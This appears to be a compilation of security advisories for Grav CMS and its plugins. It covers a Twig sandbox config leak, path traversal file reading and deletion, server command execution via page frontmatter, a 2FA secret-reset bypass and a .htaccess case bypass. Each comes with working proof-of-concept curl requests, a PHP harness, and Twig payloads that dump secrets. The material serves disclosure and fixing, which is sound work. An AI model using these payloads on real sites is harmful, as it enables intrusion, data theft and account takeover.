Any content author who can enable Twig processing on a page (process.twig: true in page frontmatter, gated by security.twigcontent.processenabled, or unconditionally for modular page content per the comment in processPage()) can read the entire system, site, and theme configuration trees, including any secret that happens to live there, such as system.cache.redis.password in core, and whatever plugins may nest under site. for their own settings, since plugin config lives elsewhere (plugins.) but site owners commonly stash site-specific integration keys under site. custom fields. This works regardless of twigcontent.configaccess, which was presumably assumed to be the single gate for config exposure in sandboxed content, it is not, system/site/theme were never part of that gate.
Suggested fix
The configdeniedpaths fix pattern (a filtering facade) does not apply here since these are plain arrays, not an object with its own get(). The direct fix is to stop injecting the raw arrays into the sandboxed render, options in rough order of how much they preserve existing template behavior:
1. In processPage(), after copying $sandboxvars = $twigvars;, also strip or replace system, site, and theme for that specific sandboxed call, the same way config already gets replaced. A SandboxConfig-style facade wrapping $config->get('system') with its own denied-path list would let you keep the currently-useful subset (e.g. system.pages. for things page authors are expected to read) while still hiding secrets. 2. Alternatively, since config already gives filtered access to the same data (config.get('system.cache.driver') etc. through SandboxConfig), consider whether system/site/theme need to be separate top level variables in the sandboxed render at all, versus just being reachable via the already-filtered config facade.
=========================================================== CWE FIELD =========================================================== CWE-200, Exposure of Sensitive Information to an Unauthorized Actor (secondary: CWE-668, Exposure of Resource to Wrong Sphere, describing the sandbox-bypass mechanism itself)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: Privileges Required is set to Low because reaching this requires page-content edit access, which is exactly the privilege level the entire content sandbox exists to constrain, someone with edit rights but who should not have operator-level secrets. If your threat model treats page-content editors as fully trusted, please rescore. I set Confidentiality to High rather than Low because the exposed tree can contain live credentials (a cache backend password, and whatever else operators or plugins choose to nest under system/site), not just configuration shape.
=========================================================== SEVERITY FIELD =========================================================== Moderate
Summary
The mediadirectory() Twig function is allow-listed for use in sandboxed, editor-authored page content (system/config/security.yaml). Its implementation, GravExtension::mediaDirFunc(), only treats the input as unsafe when it looks like a Grav stream (user://, theme://, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to new Media($mediadir), which lists every file in that directory whose extension matches a configured media type (which by default includes txt, json, xml, pdf, doc, docx, and more, not just images) and builds Medium objects for them.
Separately, the sandbox's own allow-list for the Medium class includes the filepath accessor. A code comment directly above that allow-list entry states the developers' intent was for filepath to be part of the "dangerous surface" that "stays blocked", but it is listed as an allowed method on the very same line, contradicting that stated intent.
Combined, a user who can enter page content that gets processed as Twig (process.twig: true in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in processPage()) can point mediadirectory() at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Extension/GravExtension.php, mediaDirFunc(): php public function mediaDirFunc($mediadir) { / @var UniformResourceLocator $locator / $locator = $this->grav['locator'];
if ($locator->isStream($mediadir)) { $mediadir = $locator->findResource($mediadir); }
if ($mediadir && fileexists($mediadir)) { return new Media($mediadir); }
return null; } There is no check that $mediadir, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.
system/src/Grav/Common/Page/Media.php, init(), called from the constructor: php protected function init() { $path = $this->getPath();
// Handle special cases where page doesn't exist in filesystem. if (!$path || !isdir($path)) { return; } ... $iterator = new FilesystemIterator($path, FilesystemIterator::UNIXPATHS | FilesystemIterator::SKIPDOTS);
foreach ($iterator as $file => $info) { ... [$basename, $ext, $type, $extra] = $this->getFileParts($filename); if (!inarray(strtolower((string) $ext), $mediatypes, true)) { continue; } ... } $path here is whatever was passed to the Media constructor, the raw, unvalidated string from mediaDirFunc().
system/config/security.yaml, the Medium sandbox allow-list and the comment directly above it: yaml # ... # dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is # absent from ALLOWEDACTIONS and stays blocked. - class: 'Grav\Common\Page\Medium\Medium' methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, tostring, @mediaactions' filepath is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.
mediadirectory in the sandbox's function allow-list: - mediadirectory
Root cause
Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files":
1. mediaDirFunc()'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path. 2. Once a Medium object exists for a file outside any intended scope, the sandbox still hands page content the filepath accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.
Proof of concept, verified, real output
I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own composer.lock pins for every class involved: getgrav/grav itself, rockettheme/toolbox (for UniformResourceLocator::isStream()), pimple/pimple (the DI container Grav\Common\Grav extends), and psr/container.
Step 1, confirm the pinned commits used: $ python3 -c " import json d = json.load(open('composer.lock')) for name in ('rockettheme/toolbox','pimple/pimple','psr/container'): for pkg in d['packages']: if pkg['name'] == name: print(name, pkg['source']['reference']) " rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 2, clone each at that exact commit: $ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d $ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce $ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963
Step 3, PoC script. It registers a real Grav container (the actual class, not a stub) with a real UniformResourceLocator that only has user/image streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified Grav\Common\Page\Media class exactly the way mediaDirFunc() does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway /tmp directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, /etc, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc):
php <?php // mediatraversalpoc.php splautoloadregister(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = strreplace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; return; } } if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) { $rel = strreplace('RocketTheme\\Toolbox\\', '', $class); $parts = explode('\\', $rel); $top = arrayshift($parts); $path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php'; if (fileexists($path)) { requireonce $path; return; } } if (strpos($class, 'Pimple\\') === 0) { $rel = strreplace('Pimple\\', '', $class); $path = '/home/claude/Pimple/src/Pimple/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; return; } } if (strpos($class, 'Psr\\Container\\') === 0) { $rel = strreplace('Psr\\Container\\', '', $class); $path = '/home/claude/container/src/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; return; } } });
use Grav\Common\Grav; use Grav\Common\Page\Media; use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
// Minimal stand-ins for Config/Pages, only the specific methods the real // Media/MediumFactory/Medium classes actually call. Everything downstream // of these calls is the real, unmodified Grav source under test. class FakeConfig { private $mediaTypes; public function construct() { $this->mediaTypes = arrayfillkeys( ['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'], ['type' => 'file', 'mime' => 'application/octet-stream'] ); $this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg']; $this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png']; } public function get($key, $default = null) { if ($key === 'system.media.enablemediatimestamp') return false; if ($key === 'media.types') return $this->mediaTypes; if (strpos($key, 'media.types.') === 0) { $ext = substr($key, strlen('media.types.')); return $this->mediaTypes[$ext] ?? $default; } return $default; } } class FakePages { public function get($path) { return null; } }
$locator = new UniformResourceLocator('/home/claude/grav'); $locator->addPath('user', '', ['user']); $locator->addPath('image', '', ['user/images']);
$grav = new Grav([ 'locator' => function () use ($locator) { return $locator; }, 'config' => function () { return new FakeConfig(); }, 'pages' => function () { return new FakePages(); }, ]); $ref = new ReflectionClass(Grav::class); $prop = $ref->getProperty('instance'); $prop->setAccessible(true); $prop->setValue(null, $grav);
// Stand-in for "somewhere outside the intended scope". Using /tmp so the // PoC is safe to run here, the mechanism is identical for /etc or any // other web-server-readable path. $target = '/tmp/outside-grav-webroot-demo'; @mkdir($target); fileputcontents($target . '/secret-notes.txt', "internal notes, not meant to be public\n"); fileputcontents($target . '/config-snippet.json', '{"apikey":"REDACTED-EXAMPLE-abc123"}'); fileputcontents($target . '/random.bin', randombytes(16)); // not a recognized media type
echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n"; echo "Target directory: $target\n"; echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";
// This mirrors mediaDirFunc() exactly: isStream() check, then new Media(). if ($locator->isStream($target)) { $resolved = $locator->findResource($target); } else { $resolved = $target; // the vulnerable fallthrough }
$media = new Media($resolved);
echo "Files Media discovered in that directory:\n"; foreach ($media->all() as $filename => $medium) { echo " - $filename (" . getclass($medium) . ")\n"; // filepath is allow-listed for Medium in the real sandbox config. echo " .filepath => " . $medium->get('filepath') . "\n"; echo " file content (read from that path):\n"; echo " \"" . trim((string) @filegetcontents($medium->get('filepath'))) . "\"\n\n"; }
Step 4, run it: $ php mediatraversalpoc.php
Actual output: === Grav\Common\Page\Media, real unmodified source, given a plain filesystem path === Target directory: /tmp/outside-grav-webroot-demo Is it registered as a Grav stream? no
Files Media discovered in that directory: - config-snippet.json (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/config-snippet.json file content (read from that path): "{"apikey":"REDACTED-EXAMPLE-abc123"}"
- secret-notes.txt (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/secret-notes.txt file content (read from that path): "internal notes, not meant to be public"
random.bin is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default media.types list (txt, json, ...), not because of anything I loosened in the stub.
This is the equivalent of a real page containing {{ mediadirectory('/etc').files }} (or any other path outside the site) being able to enumerate and, via .filepath on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.
Impact
Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with process.twig: true, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (txt, json, xml, pdf, doc, docx, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the user:///theme:// scope the sandbox is meant to constrain content authors to.
Suggested fix
In mediaDirFunc(), when $mediadir is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with realpath() that the result is contained within an explicitly allowed root (for example user://) before constructing Media. Separately, resolve the contradiction in system/config/security.yaml, either remove filepath from the Medium allow-list to match the stated intent in the comment above it, or, if some sandboxed use of filepath is genuinely needed, scope it so it cannot be combined with an unbounded mediadirectory() to reach arbitrary paths.
=========================================================== CWE FIELD =========================================================== CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own system/site/theme config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".
=========================================================== SEVERITY FIELD =========================================================== Moderate, possibly High, see note above
Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile() that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictable lock path pointing to any file the web server process can write to, and the next scheduled job run will follow the symlink and overwrite the target file's content with the job ID string.
Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
Summary
A path traversal vulnerability in MediaUploadTrait::deleteFile() allows an authenticated user with media management permissions to delete arbitrary files on the server. The method validates only the basename portion of the filename using Utils::checkFilename(), while the directory path (which may contain ../ sequences) is preserved and passed unvalidated to unlink(). This enables directory escape from the intended media storage path.
Severity
High (8.1) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Details
In system/src/Grav/Common/Media/Traits/MediaUploadTrait.php, the deleteFile() method (lines 332-365) performs filename validation only on the basename, not the full path:
php public function deleteFile(string $filename, ?array $settings = null): void { $settings = $this->getUploadSettings($settings); $filesystem = Filesystem::getInstance(false);
// Line 339-340: Only the BASENAME is validated $basename = $filesystem->basename($filename); // e.g. "evil.jpg" from "../../evil.jpg" if (!Utils::checkFilename($basename)) { // passes - no traversal in basename throw new RuntimeException(/ ... /); }
$path = $settings['destination'] ?? $this->getPath(); // ...
// Line 353: Full pathname (with traversal) is preserved $pathname = $filesystem->pathname($filename); // "../../"
// Line 356-357: Traversal path reconstructed [$base, $ext,,] = $this->getFileParts($basename); $name = "{$pathname}{$base}.{$ext}"; // "../../evil.jpg"
// Line 360: Passed to doRemove() $this->doRemove($name, $path); }
doRemove() (line 521-582) then calls:
php // Line 538 unlink("{$folder}/{$filename}"); // e.g. unlink("/var/www/grav/user/pages/mypage/../../config/system.yaml")
Utils::checkFilename() (lines 1022-1044) properly checks for /, \, and .., but it is applied to $filesystem->basename($filename) (the last path component only), so traversal sequences in the directory portion are never validated.
Data flow from user input
The vulnerability is reachable through the Flex media handling pipeline:
1. FlexMediaTrait::setUpdatedMedia() (line 386) iterates form flash data where $filename is the array key - user-controlled 2. For file deletions ($file is null, line 396), NO upload validation is performed (the checkUploadedFile() call at line 401 only executes when $file is truthy) 3. The raw filename is stored in $this->uploads at line 414 4. saveUpdatedMedia() (line 499) calls $media->deleteFile($filename, $settings) with the unsanitized filename
Sibling: renameFile()
The same pattern exists in renameFile() (lines 374-405) which has even weaker validation - it performs NO checkFilename() call at all. While renameFile() currently has no callers in the core codebase, it is part of the public MediaUploadInterface and should be fixed as defense-in-depth.
Proof of Concept
Environment: Grav CMS 2.0.16 with admin plugin
The attack requires an authenticated admin user with page/media editing permissions (not super-admin).
1. Create a target file: bash echo "DELETEME" > /var/www/grav/user/data/target.txt
2. Submit a Flex object form (e.g. page edit) with a crafted media deletion where the filename key contains path traversal:
POST /admin/pages/mypage/task:save Content-Type: multipart/form-data
The form flash data includes a media deletion entry with key: "../../data/target.txt" -> null (deletion marker)
3. When saveUpdatedMedia() processes the deletion queue: - $filename = ../../data/target.txt - deleteFile("../../data/target.txt") is called - $basename = target.txt (passes checkFilename()) - $pathname = ../../data/ - $name = ../../data/target.txt - doRemove() calls unlink("/var/www/grav/user/pages/mypage/../../data/target.txt") - Which resolves to unlink("/var/www/grav/user/data/target.txt")
4. The file is deleted outside the intended media directory.
Impact
An authenticated user with media management permissions can: - Delete configuration files (user/config/system.yaml, user/config/security.yaml) - Delete other pages' content files - Delete authentication-related files (user account YAML files) - Cause denial of service by removing critical application files - Potentially escalate privileges by removing security configuration
Suggested Fix
Apply Utils::checkFilename() to the full $filename parameter before decomposing it, or reject any filename containing directory separators or .. sequences:
php public function deleteFile(string $filename, ?array $settings = null): void { $settings = $this->getUploadSettings($settings); $filesystem = Filesystem::getInstance(false);
// Validate the FULL filename, not just the basename if (!Utils::checkFilename($filename)) { throw new RuntimeException(/ ... /); }
// ... rest unchanged }
The same fix should be applied to renameFile() for both $from and $to parameters.
References
- Vulnerable file: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 332-365, 521-582 - Caller: system/src/Grav/Framework/Flex/Traits/FlexMediaTrait.php lines 386-414, 490-499 - Sibling: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 374-405 (renameFile) - Related GHSA: GHSA-g6j3-8jv9-ch5f (path traversal in PagesController::batchCopy - different file, same bug class)
Disclosure
This vulnerability was discovered using AI-assisted security research tools.
Grav before 3.9.2 fails to validate untrusted Host headers in the sendInvitationEmail() function when constructing token-bearing invitation links. Attackers can manipulate the Host header to poison invitation links and redirect users to attacker-controlled domains, bypassing the requiretrustedhost protection which only covers password reset flows.
Grav API plugin before 1.0.16 contains a server-side request forgery vulnerability in webhook delivery that allows attackers to bypass hostname validation by DNS rebinding. Attackers controlling authoritative DNS for a configured webhook hostname can answer validation lookups with public addresses and delivery lookups with private addresses to reach internal network resources.
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content. Prior to 1.0.8, the Grav API plugin intercepts the apiKeyGenerate and apiKeyRevoke admin tasks in user/plugins/api/api.php and authorizes the caller with only admin.login. A basic panel user can select another account from the route, create a persistent ApiKeyManager credential bound to that target, and inherit the target's API permissions, including api.super or administrative write access when present. This issue is fixed in version 1.0.8.
Summary An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.
Details Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to calluserfuncarray() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.
PoC Placeholders: <BASEURL> the site; <SESSIONCOOKIE> an admin session cookie for an account with admin.pages; <ADMINNONCE> the admin-nonce on any admin page (window.GravAdmin.config.adminnonce).
Save a "form" page whose field carries the callable directive:
curl '<BASEURL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSIONCOOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMINNONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system"
Trigger it as an unauthenticated visitor:
curl '<BASEURL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.
Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content. Prior to 1.0.0-rc.16, the Grav API plugin CorsMiddleware returns Access-Control-Allow-Origin: and permissive OPTIONS responses for authenticated /api/v1 endpoints. JavaScript from any origin can submit an attacker-obtained JWT through the Authorization or X-API-Token header, read the authenticated response, and perform write operations with the token owner's privileges, enabling data exfiltration and account modification. This issue is fixed in version 1.0.0-rc.16.
Grav Login Plugin adds login, basic ACL, and session wide messages to Grav. Prior to 3.8.11, the Grav Login plugin login.regenerate2FASecret task accepts a top-level GET request through the TaskServiceProvider task: URI parameter without requiring a login-form nonce, an Origin check, or a Referer check. Under the default SameSite=Lax session cookie policy, an off-site navigation can invoke taskRegenerate2FASecret() in a logged-in victim's session, overwrite the victim's TOTP secret, and force two-factor re-enrollment. This issue is fixed in version 3.8.11.
Summary
The default .htaccess shipped with Grav (and the reference webserver-configs/htaccess.txt) contains security rules that block direct HTTP access to sensitive file types (.yaml, .yml, .php, .json, .twig, etc.) under user/ and system/vendor/ directories. However, these rules lack the [NC] (No Case) flag, making them case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Linux with Docker volumes mounted from Windows/macOS), an attacker can bypass these rules by requesting files with uppercase extensions (e.g., .YAML, .PHP, .JSON).
Affected Versions
- Grav 2.0.1 (latest stable as of June 2026) — confirmed - Grav 1.7.x — likely affected (same .htaccess rules) - All versions shipping the current webserver-configs/htaccess.txt
Affected Component
File: .htaccess (root of Grav installation) Reference: webserver-configs/htaccess.txt
Affected Rules (lines 68, 70, 72)
apache Line 68 — system/vendor file types RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]
Line 70 — user file types RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F]
Line 72 — .md files globally RewriteRule \.md$ error [F]
All three rules use [F] without [NC], making the extension match case-sensitive.
Steps to Reproduce
1. Install Grav on a system with a case-insensitive filesystem: - Windows (native WAMP/XAMPP) - macOS (default HFS+) - Docker on Windows/macOS with volume mounts (e.g., ./data:/var/www/html)
2. Create or use any plugin that stores sensitive data in its YAML config (e.g., API keys): user/plugins/my-plugin/my-plugin.yaml
3. Request the file with a case-varied extension: GET /user/plugins/my-plugin/my-plugin.YAML HTTP/1.1
4. Expected: HTTP 403 Forbidden 5. Actual: HTTP 200 OK — full file contents returned, including any API keys or sensitive configuration
Impact
- Information disclosure: Plugin configuration files (.yaml) containing API keys, credentials, or sensitive settings can be read by unauthenticated users - Source code exposure: PHP source files can be downloaded (instead of executed) when requested with .PHP extension on some configurations - Configuration exposure: user/config/system.yaml, user/config/site.yaml, and other system configuration files are accessible
Fix
Add the [NC] flag to the three affected rules:
apache RewriteRule ^(system|vendor)/(.)\.(txt|xml|md|html|htm|shtml|shtm|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule ^(user)/(.)\.(txt|md|json|yaml|yml|php|php2|php3|php4|php5|phar|phtml|pl|py|cgi|twig|sh|bat)$ error [F,NC] RewriteRule \.md$ error [F,NC]
The [NC] flag makes the extension matching case-insensitive, covering .YAML, .Yaml, .PHP, .Json, etc.
Mitigating Factors
- On native Linux with ext4 filesystem (case-sensitive), the attack does not work because Apache cannot resolve the uppercase filename to the actual file - Grav 2.0's Twig sandbox blocks access to plugins config subtree from page content, preventing SSTI-based config exfiltration - The user/accounts/, user/config/, and user/data/ folders have separate rules (line 62, 66) that block ALL file types regardless of extension — these are not affected
Environment
- Grav: 2.0.1 - PHP: 8.3 - Apache: 2.4 with modrewrite - OS: Docker (php:8.3-apache) with volume mounted from Windows 10 (NTFS) - Tested: June 2026
Reporter
Sisnetic
Grav is a file-based Web platform. Prior to 2.0.4, Grav allowlists the regexreplace filter and function in system/config/security.yaml, and GravExtension::regexReplace() passes an editor-controlled pattern directly to pregreplace(). When security.twigcontent.processenabled is enabled, an authenticated page editor can publish a catastrophically backtracking pattern that consumes PHP worker CPU and denies service to site visitors. This issue is fixed in version 2.0.4.
Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofasecret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.
Details Four code locations in login plugin v3.8.10 enable the chain:
1. Session user set even with 2FA pending user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.
2. taskRegenerate2FASecret - no authorization check user/plugins/login/classes/Controller.php
php public function taskRegenerate2FASecret() { $user = $this->grav['user']; if ($user->exists()) { // ← only checks exists(), NOT authorized() $secret = $twoFa->createSecret(); $user->twofasecret = $secret; // overwrites victim's secret on disk $user->save(); $jsonresponse = [ 'status' => 'success', 'image' => $image, 'secret' => trim(pregreplace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker ]; } }
3. No CSRF nonce required user/plugins/login/login.php - the task dispatch switch only validates twofacancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.
PoC Confirmed live on this instance after enabling plugins.login.twofaenabled: true and configuring TOTP on the user account.
bash Step 1: Password-only login (lands in 2FA-pending; keep session cookie) LOGINPAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login") NONCE=$(echo "$LOGINPAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+') curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \ "http://127.0.0.1/grav/login" \ -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"
Step 2: Regenerate the 2FA secret (NO nonce required) curl -s -b /tmp/2fa.jar \ "http://127.0.0.1/grav/login/task:login.regenerate2FASecret" {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}
Step 3: Compute TOTP from the attacker-chosen secret python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())" 152656
Step 4: Complete 2FA with attacker's TOTP code curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \ -d "task=login.twofa&2facode=152656"
Step 5: Verify - fully authenticated as victim curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout' Grav User Logout
Impact Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.
The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.
Summary
The Twig content sandbox replaces config with the redacted SandboxConfig facade and strips Config::get/toArray from the method allowlist (GHSA-j274-39qw-32c9), so editor content can't read config secrets via config. That's bypassable: grav is the raw container, offsetget is allow-listed on it, so grav.offsetGet('config') returns the real Config. The allow-listed filters jsonencode/printr/yamlencode then serialize it at the PHP level, never hitting the sandbox method gate, dumping the whole config tree including every plugins. secret (SMTP creds, API keys, plugin DB creds). Incomplete fix for GHSA-j274-39qw-32c9. security.salt does not leak (it lives outside config).
Details
The documented path is blocked: config is the SandboxConfig facade (Twig.php:660) and the raw Config/Data method entries are stripped when configaccess is false, so {{ config.get(...) }} returns the default and {{ grav.offsetGet('config').get(...) }} raises SecurityNotAllowedMethodError.
The bypass uses two allow-listed primitives the redaction doesn't cover:
1. grav.offsetGet('config') returns the raw Config. The SandboxConfig facade replaces only the config variable, not grav['config']; offsetget is allow-listed on Grav\Common\Grav in system/config/security.yaml. 2. jsonencode/printr/yamlencode serialize the object inside the filter and never call GravSecurityPolicy::checkMethodAllowed (GravSecurityPolicy.php:65), so the stripped methods don't matter.
Bug class: object-dumping filters bypass the sandbox member gate. The same dump reaches page/pages/uri/user via their allow-listed accessors; config is the secret-bearing target.
Reachable below the publisher-Twig opt-in: a -prefixed slug is modular (Page.php:228), and Page::content() sets $processtwig = $scantwigxss || $this->modularTwig() (Page.php:816), so a modular child's body Twig is sandboxed-rendered even with twigcontent.processenabled false (the default), while $scantwigxss stays false so the render-time XSS scan (GHSA-2c4f-86xc-cr74) is skipped. Any admin.pages author (or filesystem write to user/pages) exfiltrates config on a stock install. On a regular process.twig page the whole-tree dump trips the XSS scan and is blanked, but a targeted split/slice extraction of one subtree is XSS-clean and survives.
PoC
Sandboxed render, configaccess default false. First two lines show the gate holding, third is the bypass:
twig {{ config.get('plugins.email.mailer.smtp.password', 'DENIED') }} {# => DENIED #} {{ grav.offsetGet('config').get('plugins.email.mailer.smtp.password') }} {# => SecurityNotAllowedMethodError 'get' #} {{ grav.offsetGet('config')|jsonencode }} {# => {...,"plugins":{"email":{"mailer":{"smtp":{"password":"CANARY..."}}}},...} #}
Stock-install reproduction (no user/config/security.yaml):
yaml user/config/plugins/email.yaml -- decoy secret mailer: { smtp: { password: CANARYSMTPPW8b3f1 } }
user/pages/70.parent/default.md --- title: Parent content: { items: '@self.modular' } template: modular ---
twig {# user/pages/70.parent/secret/default.md #} --- title: Secret template: modular/text --- {{ grav.offsetGet('config')|jsonencode }}
bash curl -s http://localhost/parent # body contains CANARYSMTPPW8b3f1
logs/security.log shows no sandbox block and no XSS scan for the route. Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, Twig 3.26.1-DEV.
Impact
A page author (admin.pages, no admin/super) reads the entire config tree: plugin SMTP credentials, API keys, plugin DB credentials. Read-only. Default install; the modular path needs no Twig opt-in.
Fix
system/config/security.yaml: drop offsetget (and get) from twigsandbox.allowedmethods for Grav\Common\Grav -- the legit uses are theme/getversion; offsetget is the raw-container reach. Closes the demonstrated path.
